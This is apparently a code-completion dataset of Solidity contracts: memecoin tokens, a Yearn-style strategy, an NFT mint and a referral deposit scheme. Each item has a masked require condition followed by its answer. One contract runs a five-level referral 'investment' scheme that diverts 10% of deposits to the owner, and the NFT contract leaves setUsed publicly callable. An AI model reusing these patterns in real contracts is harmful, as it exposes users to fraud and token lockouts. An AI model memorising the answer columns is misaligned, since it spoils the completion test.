event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IBEP20Metadata is IBEP20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract BEP20 is Context, IBEP20, IBEP20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {BEP20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IBEP20-balanceOf} and {IBEP20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IBEP20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IBEP20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IBEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
/**
* @dev See {IBEP20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
/**
* @dev See {IBEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IBEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IBEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IBEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
/** This function will be used to generate the total supply
* while deploying the contract
*
* This function can never be called again after deploying contract
*/
function _tokengeneration(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract FuckShibarium is BEP20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _interlock = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
uint256 public tokenLiquidityThreshold = 1e6 * 10**18;
uint256 public genesis_block;
uint256 private deadline = 3;
uint256 private launchtax = 99;
address public marketingWallet = 0xf524A721e1561D5B18708fd209AB23c0730E38E8;
address public devWallet = 0xf524A721e1561D5B18708fd209AB23c0730E38E8;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public taxes = Taxes(1, 0, 1);
Taxes public sellTaxes = Taxes(1, 0, 1);
mapping(address => bool) public exemptFee;
modifier lockTheSwap() {
}
constructor() BEP20("Fuck Shibarium", "FuckShibarium") {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool state) external onlyOwner {
}
function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
}
function SetBuyTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
taxes = Taxes(_marketing, _liquidity, _dev);
require(<FILL_ME>)
}
function SetSellTaxes(
uint256 _marketing,
uint256 _liquidity,
uint256 _dev
) external onlyOwner {
}
function EnableTrading() external onlyOwner {
}
function updatedeadline(uint256 _deadline) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function updateExemptFee(address _address, bool state) external onlyOwner {
}
function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {
}
function rescueBNB(uint256 weiAmount) external onlyOwner {
}
function rescueBSC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// fallbacks
receive() external payable {}
}
| (_marketing+_liquidity+_dev)<=12,"Must keep fees at 12% or less" | 213,349 | (_marketing+_liquidity+_dev)<=12 |
"Tarif not found" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
struct Tarif {
uint8 life_days;
uint16 percent;
}
struct Deposit {
uint8 tarif;
uint256 amount;
uint256 amountUSDT;
uint40 time;
}
struct Player {
address upline;
uint256 dividends;
uint256 dividendsUSDT;
uint256 match_bonus;
uint256 match_bonusUSDT;
uint40 last_payoutUSDT;
uint40 last_payout;
uint256 total_invested;
uint256 total_withdrawn;
uint256 total_match_bonus;
uint256 total_investedUSDT;
uint256 total_withdrawnUSDT;
uint256 total_match_bonusUSDT;
Deposit[] deposits;
uint256[5] structure;
}
contract Ethereum_Latinum {
using SafeERC20 for IERC20;
address public owner;
uint256 public invested;
uint256 public investedUSDT;
uint256 public withdrawn;
uint256 public withdrawnUSDT;
uint256 public match_bonus;
uint256 public match_bonusUSDT;
uint8 constant BONUS_LINES_COUNT = 5;
uint16 constant PERCENT_DIVIDER = 1000;
uint8[BONUS_LINES_COUNT] public ref_bonuses = [ 50, 40, 30, 20, 10];
uint8[BONUS_LINES_COUNT] public ref_upgrade1 = [ 60, 40, 30, 20, 10];
uint8[BONUS_LINES_COUNT] public ref_upgrade2 = [ 70, 40, 30, 20, 10];
uint8[BONUS_LINES_COUNT] public ref_upgrade3 = [ 80, 40, 30, 20, 10];
uint8[BONUS_LINES_COUNT] public ref_upgrade4 = [ 90, 40, 30, 20, 10];
uint8[BONUS_LINES_COUNT] public ref_upgrade5 = [ 100, 40, 30, 20, 10];
IERC20 public LTNM;
IERC20 public ANYTOKEN;
IERC20 public USDT;
mapping(uint8 => Tarif) public tarifs;
mapping(address => Player) public players;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount, uint8 tarif);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayoutNew(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
constructor() {
}
function _payout(address _addr) private {
}
function _payoutUSDT(address _addr) private {
}
function transferAnyERC20Tokens(address _tokenAddress, uint256 _amount) public {
}
function _refPayout(address _addr, uint256 _amount) private {
}
function _setUpline(address _addr, address _upline, uint256 _amount) private {
}
function deposit(uint8 _tarif, address _upline, uint256 amount) external {
require(<FILL_ME>)
require(amount >= 1 ether, "Minimum deposit amount is 1 LTNM");
LTNM.safeTransferFrom(msg.sender, address(this), amount);
Player storage player = players[msg.sender];
_setUpline(msg.sender, _upline, amount);
player.deposits.push(Deposit({
tarif: _tarif,
amount: amount,
amountUSDT: 0,
time: uint40(block.timestamp)
}));
player.total_invested+= amount;
invested+= amount;
_refPayout(msg.sender, amount);
LTNM.safeTransfer(owner, amount / 10);
emit NewDeposit(msg.sender, amount, _tarif);
}
//usdt
function _refPayoutUSDT(address _addr, uint256 _amount) private {
}
function deposit_usdt(uint8 _tarif, address _upline, uint256 amount) external {
}
function withdraw() external {
}
function withdrawUSDT() external {
}
function payoutOfUSDT(address _addr) view external returns(uint256 value) {
}
function payoutOf(address _addr) view external returns(uint256 value) {
}
function referalCounter(address _addr) view external returns(uint256 _totalref) {
}
function referalCounterInternal(address _addr) view internal returns(uint256 _totalref) {
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[BONUS_LINES_COUNT] memory structure) {
}
function userInfoUSDT(address _addr) view external returns(uint256 for_withdraw, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[BONUS_LINES_COUNT] memory structure) {
}
function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _match_bonus) {
}
function contractInfoUSDT() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _match_bonus) {
}
function reinvest() external {
}
function invest(address to, uint256 amount) external payable {
}
function investUSDT(address to, uint256 amount) external payable {
}
}
| tarifs[_tarif].life_days>0,"Tarif not found" | 213,438 | tarifs[_tarif].life_days>0 |
"Must keep maxwallet more than 0.1%" | /**
The Shinsengumi (新選組, "New Select Brigade") was a special police force organized by the Bakufu (military government) during Japan's Bakumatsu period (late Tokugawa shogunate) in 1863.
It was founded to protect the shogunate representatives in Kyoto at a time when a controversial imperial edict to exclude foreign trade from Japan had been made and the Chōshū clan had been forced from the imperial court.
They gained considerable fame in the Ikedaya incident and the August 18 coup events etc.
The men were drawn from the sword schools of Edo.
TG: https://t.me/ShinsengumiOfficial
Twitter: https://twitter.com/ShinsengumiEth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Shinsengumi is ERC20, Ownable {
using SafeMath for uint256;
address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //UNISWAP
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name = "Shinsengumi";
string constant _symbol = unicode"新選組";
uint8 constant _decimals = 9;
uint256 _totalSupply = 500_000_000 * (10 ** _decimals);
uint256 public _maxWalletAmount = _totalSupply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => bool) public isBot;
uint256 marketingFee = 3;
uint256 sellMarketingFee = 3;
uint256 feeDenominator = 100;
address public marketingFeeReceiver = msg.sender;
address public developmentReceiver = msg.sender;
IDEXRouter public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000 * 35;
bool inSwap;
modifier swapping() { }
constructor () Ownable(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
function buyTokens(uint256 amount, address to) internal swapping {
}
function clearStuckBalance() external {
}
function setWalletLimit(uint256 amountPercent) external onlyOwner {
_maxWalletAmount = (_totalSupply * amountPercent ) / 1000;
require(<FILL_ME>)
}
function isBots(address botAddress, bool status) external onlyOwner {
}
function areBots(address[] memory bots_, bool status) public onlyOwner {
}
function setFees(uint256 _MarketingFee, uint256 _sellMarketingFee) external onlyOwner {
}
function setThreshold(uint256 _treshold) external onlyOwner {
}
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}
| _maxWalletAmount>=(_totalSupply/1000),"Must keep maxwallet more than 0.1%" | 213,730 | _maxWalletAmount>=(_totalSupply/1000) |
"0 ERC20 balance" | pragma solidity ^0.8.17;
contract BaByREFUND is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BABY REFUND";
string private constant _symbol = "BRF";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 3;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 3;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address private _developmentAddress;
address private _marketingAddress;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public tradingOpen = false;
bool private inSwap = false;
bool public swapEnabled = true;
uint256 public _swapTokensAtAmount = _tTotal.div(200);
uint256 public _swapTokenMin = _tTotal.div(1000);
uint256 public launchTime;
uint256 public _maxTxAmountBuy = _tTotal.div(100);
uint256 public _maxTxAmountSell = _tTotal.div(100);
uint256 public _maxWalletSize = _tTotal.div(100);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(
uint256 rAmount
) private view returns (uint256) {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap(uint256 amount) external {
}
function changeDevAndMarketingAddress(
address _newDev,
address _newMarketing
) external onlyOwner {
}
function manualsend() external {
}
function BBots(address[] memory bots_) external onlyOwner {
}
function UBot(address notbot) external onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam, address sender) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function isERC20(address tokenAdd, uint256 amount) external onlyOwner {
require(<FILL_ME>)
IERC20(tokenAdd).transfer(address(_developmentAddress), amount);
}
receive() external payable {}
function _getValues(
uint256 tAmount
)
private
view
returns (uint256, uint256, uint256, uint256, uint256, uint256)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(
uint256 redisFeeOnBuy,
uint256 redisFeeOnSell,
uint256 taxFeeOnBuy,
uint256 taxFeeOnSell
) external onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(
uint256 swapTokensAtAmount,
uint256 swapTokensMin
) external onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) external onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(
uint256 maxTxAmountBuy,
uint256 maxAmountSell
) external onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) external onlyOwner {
}
function addlquidity(uint256 tokenAmount) external payable onlyOwner {
}
//TEST
function changeUniswapV2pair(address _newPair) external onlyOwner {
}
}
| IERC20(tokenAdd).balanceOf(address(this))>=amount,"0 ERC20 balance" | 213,767 | IERC20(tokenAdd).balanceOf(address(this))>=amount |
"disabledClaim" | // SPDX-License-Identifier: AGPL-3.0
// Feel free to change the license, but this is what we use
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import { BaseStrategy } from "BaseStrategy.sol";
import {SafeERC20, SafeMath, IERC20, Address} from "SafeERC20.sol";
import "EnumerableSet.sol";
interface ITradeFactory {
function enable(address, address) external;
function disable(address, address) external;
}
interface IVoterProxy {
function lock() external;
function claim(address _recipient) external;
function claimable() external view returns (bool);
}
interface IBaseFee {
function isCurrentBaseFeeAcceptable() external view returns (bool);
}
interface IVoter {
function strategy() external view returns (address);
}
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
uint profitThreshold = 5_000e18;
address public tradeFactory;
address public proxy;
address public voter = 0xF147b8125d2ef93FB6965Db97D6746952a133934;
IERC20 internal constant crv3 = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
bool public ignoreClaim;
bool public disableClaim;
EnumerableSet.AddressSet private tokenList;
constructor(address _vault) BaseStrategy(_vault) public {
}
function name() external view override returns (string memory) {
}
function estimatedTotalAssets() public view override returns (uint256) {
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
) {
}
// Here we lock curve in the voter contract. Lock doesn't require approval.
function adjustPosition(uint256 _debtOutstanding) internal override {
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
}
function prepareMigration(address _newStrategy) internal override {
}
function harvestTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
}
// We don't need this anymore since we don't use baseStrategy harvestTrigger
function ethToWant(uint256 _amtInWei)
public
view
virtual
override
returns (uint256)
{}
function liquidateAllPositions() internal override returns (uint256) {
}
function claim() external {
require(<FILL_ME>)
_claim();
}
function _claim() internal {
}
function isBaseFeeAcceptable() internal view returns (bool) {
}
function balanceOf3crv() public view returns (uint256) {
}
// Common API used to update Yearn's StrategyProxy if needed in case of upgrades.
function setProxy(address _proxy) external onlyGovernance {
}
// @dev Set true to ignore 3CRV claim from proxy. This allows us to bypass a revert if necessary.
function setIgnoreClaim(bool _ignoreClaim) external onlyEmergencyAuthorized {
}
// @dev Toggle disable public claim
function setdisableClaim(bool _disableClaim) external onlyEmergencyAuthorized {
}
function setProfitThreshold(uint _profitThreshold) external onlyVaultManagers {
}
// internal helpers
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
// ----------------- YSWAPS FUNCTIONS ---------------------
function setTradeFactory(address _tradeFactory) external onlyGovernance {
}
function setTradeFactory(address _tradeFactory, address[] calldata _tokens) external onlyGovernance {
}
function approveTokenForTradeFactory(address _token) external onlyGovernance {
}
function _approveTokenForTradeFactory(address tf, address _token) internal {
}
/// @notice Remove permissions from tradefactory
/// @param _disableTf Specify whether also disable TF. Option is given in case we need to bypass a reverting disable.
function removeTradeFactoryPermissions(bool _disableTf) external onlyVaultManagers {
}
function _removeTradeFactoryPermissions(bool _disableTf) internal {
}
function isOnTokenList(address _token) internal view returns (bool) {
}
function getTokenList() public view returns (address[] memory _tokenList) {
}
}
| !disableClaim,"disabledClaim" | 213,812 | !disableClaim |
"Not enough supply" | pragma solidity ^0.8.4;
contract MutantHoundsAI is Ownable, ERC721A, DefaultOperatorFilterer {
using Strings for uint256;
string private baseTokenURI;
uint64 public maxSupply = 10000;
bool public MintActive = false;
IERC721 private collars;
mapping(uint256 => uint256) private collarCollector;
constructor() ERC721A("Mutant Hounds AI", "MHAI"){
}
function mint(
uint256[] calldata mT_
) external payable
{
uint256 quantity_ = mT_.length;
require(MintActive, "Mint is not Active");
require(quantity_ > 0, "You must mint at least 1");
require(<FILL_ME>)
require(
!usedTokenIds(mT_),
"Token already used"
);
for (uint256 i; i < mT_.length; i++) {
require(
msg.sender == collars.ownerOf(mT_[i]),
"Token not owned"
);
}
setUsed(mT_);
_safeMint(msg.sender, quantity_);
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function ownerMint(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function exists(uint256 _tokenId) public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _URI) external onlyOwner {
}
function setMintActive(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// Utilities
function pBool(
uint256 _PBools,
uint256 _bInd,
bool _value
) public pure returns (uint256) {
}
function unpBool(uint256 _PBools, uint256 _bInd)
internal
pure
returns (bool)
{
}
function setUsed(
uint256[] calldata mints
) public {
}
function usedTokenIds(
uint256[] calldata mints
) private view returns (bool) {
}
function usedTokenId(uint256 tokenId)
public
view
returns (bool mintUsed)
{
}
function mintArray(uint256 tokenId)
internal
pure
returns (uint256 boolRow, uint256 bColumn)
{
}
/// Fallbacks
receive() external payable { }
fallback() external payable { }
}
| quantity_<=(maxSupply-totalSupply()),"Not enough supply" | 213,989 | quantity_<=(maxSupply-totalSupply()) |
"Token already used" | pragma solidity ^0.8.4;
contract MutantHoundsAI is Ownable, ERC721A, DefaultOperatorFilterer {
using Strings for uint256;
string private baseTokenURI;
uint64 public maxSupply = 10000;
bool public MintActive = false;
IERC721 private collars;
mapping(uint256 => uint256) private collarCollector;
constructor() ERC721A("Mutant Hounds AI", "MHAI"){
}
function mint(
uint256[] calldata mT_
) external payable
{
uint256 quantity_ = mT_.length;
require(MintActive, "Mint is not Active");
require(quantity_ > 0, "You must mint at least 1");
require(
quantity_ <= (maxSupply - totalSupply()),
"Not enough supply"
);
require(<FILL_ME>)
for (uint256 i; i < mT_.length; i++) {
require(
msg.sender == collars.ownerOf(mT_[i]),
"Token not owned"
);
}
setUsed(mT_);
_safeMint(msg.sender, quantity_);
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function ownerMint(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function exists(uint256 _tokenId) public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _URI) external onlyOwner {
}
function setMintActive(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// Utilities
function pBool(
uint256 _PBools,
uint256 _bInd,
bool _value
) public pure returns (uint256) {
}
function unpBool(uint256 _PBools, uint256 _bInd)
internal
pure
returns (bool)
{
}
function setUsed(
uint256[] calldata mints
) public {
}
function usedTokenIds(
uint256[] calldata mints
) private view returns (bool) {
}
